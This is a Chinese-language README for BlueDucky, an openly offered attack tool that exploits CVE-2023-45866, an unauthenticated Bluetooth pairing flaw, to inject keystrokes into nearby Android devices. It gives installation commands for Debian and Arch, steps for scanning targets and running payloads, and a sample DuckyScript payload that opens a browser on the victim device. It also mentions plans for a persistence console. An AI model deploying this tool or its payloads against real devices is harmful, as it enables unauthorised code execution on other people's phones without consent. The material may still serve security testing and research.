BlueDucky 版本 2.1（安卓） 🦆

感谢 HackNexus 的所有人。一定要来加入我们的语音频道！ https://discord.gg/HackNexus

注意：我将无法在笔记本电脑或树莓派以外的设备上运行此工具进行测试。因此，你们遇到的任何问题都需要互相解决，因为我没有多余的资金购买适配器。

🚨 CVE-2023-45866 - BlueDucky 实现（使用 DuckyScript）

🔓 未经身份验证的配对导致代码执行（使用 HID 键盘）

这是由 marcnewlin 发现的 CVE 的实现

介绍 📢

BlueDucky 是一款用于利用蓝牙设备漏洞的强大工具。通过运行此脚本，您可以：

📡 加载已保存的虽然不再可见但蓝牙仍处于开启状态的蓝牙设备。
📂 自动保存您扫描到的任何设备。
💌 通过 ducky 脚本格式发送消息以与设备交互。

我已在 Raspberry Pi 4 上使用默认蓝牙模块成功运行此工具。它适用于多种手机，但有一个有趣的例外：新西兰品牌 Vodafone。

安装与使用 🛠️

基于 Debian 的系统的设置说明

# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

基于 Arch 的系统的设置说明

# update pacman & packages
sudo pacman -Syyu

# install dependencies
# since arch doesn't separate lib packages: libbluetooth-dev included in bluez package
sudo pacman -S bluez-tools bluez-utils bluez-deprecated-tools \
               python-setuptools python-pydbus python-dbus
               git gcc python-pip \

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

运行 BlueDucky

git clone https://github.com/pentestfunctions/BlueDucky.git
cd BlueDucky
sudo hciconfig hci0 up
python3 BlueDucky.py

或者，

pip3 install -r requirements.txt

操作步骤 🕹️

运行时，会提示输入目标 MAC 地址。
不输入任何内容会触发自动扫描设备。
之前找到的设备会存储在 known_devices.txt 中。
如果 known_devices.txt 存在，则在扫描前会检查该文件。
使用 payload.txt 文件执行。
成功执行将导致自动连接并运行脚本。

DuckyScript 💻

🚧 正在进行中：

请向我提出建议

版本 2.1 🐛

更新了用户界面
改进了用户体验
蓝牙调试器；在允许访问应用程序之前检查您的蓝牙适配器和已安装的依赖项，以防止不支持的设备。
请注意：已进行了大量更改，请参考提交历史了解具体更改。

下次发布计划？

集成 DuckyScript 控制台，用于在有效负载运行后想要保持持久性的攻击。
建议接下来应该添加什么！加入 https://discord.gg/HackNexus

📝 示例 payload.txt：

REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<>.?/
GUI D

REM Opens a private browser to hackertyper.net
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING hackertyper.net
DELAY 300
ENTER
DELAY 300

BlueDucky

最受欢迎